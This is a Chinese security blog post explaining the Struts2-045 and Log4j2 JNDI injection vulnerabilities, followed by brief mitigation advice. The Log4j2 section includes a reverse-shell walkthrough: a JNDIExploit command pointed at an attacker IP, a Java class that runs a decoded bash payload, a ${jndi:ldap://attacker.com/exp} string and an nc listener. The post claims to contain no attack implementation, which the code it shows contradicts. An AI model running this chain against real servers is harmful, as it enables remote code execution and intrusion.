【HW系列】—web组件漏洞(Strtus2和Apache Log4j2)

本文仅用于技术研究,禁止用于非法用途。

文章目录

  • Struts2
    • [Struts2 框架介绍](#Struts2 框架介绍)
    • [Struts2 历史漏洞汇总(表格)](#Struts2 历史漏洞汇总(表格))
    • [Struts2-045 漏洞详解](#Struts2-045 漏洞详解)
  • Log4j2
    • [Log4j2 框架介绍](#Log4j2 框架介绍)
    • [Log4j2 漏洞原理](#Log4j2 漏洞原理)
        • [1. JNDI 注入](#1. JNDI 注入)
        • [2. 利用过程](#2. 利用过程)
    • [Log4j2 历史漏洞](#Log4j2 历史漏洞)
    • [JNDI+LDAP 反弹 Shell 流程](#JNDI+LDAP 反弹 Shell 流程)

Struts2

Struts2 框架介绍

Apache Struts2 是一个基于 MVC 设计模式的开源 Web 应用框架,广泛应用于企业级开发。其核心特点包括:

  • 灵活的请求处理:通过拦截器机制动态处理用户请求,支持 RESTful API。
  • 扩展性强:支持插件机制(如文件上传、JSON 解析)。
  • 安全风险:历史版本因设计缺陷(如输入验证缺失、危险函数滥用)多次曝出高危漏洞。

Struts2 历史漏洞汇总(表格)

注:更多漏洞可参考 Apache Struts2 官方安全公告。


Struts2-045 漏洞详解

1. 简介

Struts2-045(CVE-2017-5638)是 Apache Struts2 框架的高危 远程代码执行漏洞,因 Jakarta 文件上传插件对 Content-Type 头 未严格校验,攻击者可构造恶意 HTTP 请求头注入 OGNL 表达式,导致目标服务器执行任意命令。
2. 影响范围

  • 受影响版本:
    • Struts 2.3.5--2.3.31
    • Struts 2.5--2.5.10
  • 典型场景:使用 Struts2 框架的文件上传功能且未升级补丁的 Web 应用。

Log4j2

Log4j2 框架介绍

Apache Log4j2 是 Java 生态中广泛使用的 日志记录库,支持动态配置、多输出源(文件、控制台、数据库等)和日志级别管理。其核心功能包括:

  • 高性能异步日志:适用于高并发场景。
  • 插件化架构:支持自定义 Appender、Filter 等组件。

Log4j2 漏洞原理

1. JNDI 注入
  • 核心机制:Log4j2 的 Lookup 功能允许通过 ${jndi:ldap://attacker.com/exp} 解析动态内容。
  • 漏洞触发:当应用程序记录包含恶意 JNDI 表达式的日志时,Log4j2 会通过 JNDI 协议(LDAP/RMI)请求远程资源,加载并执行攻击者部署的恶意类文件。
2. 利用过程
  1. 构造恶意请求:攻击者发送包含 ${jndi:ldap://恶意服务器/exp} 的日志内容(如 HTTP 请求头)。
  2. 触发解析:Log4j2 解析该内容,向 LDAP/RMI 服务器发起请求。
  3. 加载恶意类:恶意服务器返回指向远程 HTTP 服务的 Reference 对象,客户端下载并执行恶意类文件。

Log4j2 历史漏洞


JNDI+LDAP 反弹 Shell 流程

  1. 搭建恶意 LDAP 服务器:
    • 使用工具(如 JNDIExploit)启动 LDAP 服务,并绑定指向恶意类的 URL。
bash 复制代码
java -jar JNDIExploit-1.2.jar -i 攻击者IP -p 1389  
  1. 生成恶意类文件:
    • 编写包含反弹 Shell 代码的 Java 类(如 Exploit.java),编译后托管在 HTTP 服务器。
java 复制代码
public class Exploit {  
    static {  
        try {  
            Runtime.getRuntime().exec("bash -c {echo,base64编码的Shell命令} | base64 -d | bash");  
        } catch (Exception e) {}  
    }  
}  
  1. 构造 Payload:
    • 发送包含 ${jndi:ldap://攻击者IP:1389/Exploit} 的请求至目标应用。
  2. 触发漏洞:
    • 目标服务器解析 Payload,从 LDAP 服务器获取恶意类地址并加载执行,反弹 Shell 至攻击者监听端口。
  3. 接收 Shell:
bash 复制代码
nc -lvnp 监听端口  

防御建议:

  • 升级 Log4j2 至 2.17.0+,禁用 JNDI Lookup 功能。
  • 配置网络防火墙限制外连请求,使用 WAF 拦截恶意特征。

注:本文遵循CSDN社区内容规范,不涉及具体攻击实现,重点探讨防御方法论。

相关推荐
景早8 小时前
商品案例-组件封装(vue)
前端·javascript·vue.js
q***98528 小时前
【保姆级教程】apache-tomcat的安装配置教程
java·tomcat·apache
不说别的就是很菜8 小时前
【前端面试】Vue篇
前端·vue.js·面试
IT_陈寒8 小时前
Java 17实战:我从老旧Spring项目迁移中总结的7个关键避坑点
前端·人工智能·后端
倚肆8 小时前
CSS 动画与变换属性详解
前端·css
blackorbird9 小时前
谷歌 Chrome 浏览器的指纹识别技术,一边反追踪一边搞追踪
前端·chrome
DolphinScheduler社区9 小时前
Apache DolphinScheduler 新增 gRPC 任务插件 | 开源之夏成果总结
大数据·开源·apache·海豚调度
Mintopia9 小时前
🚀 共绩算力:3分钟拥有自己的图像优化服务-CodeFormer:先进的图像算法优化、修复马赛克、提升图片清晰度等
前端·人工智能·ai编程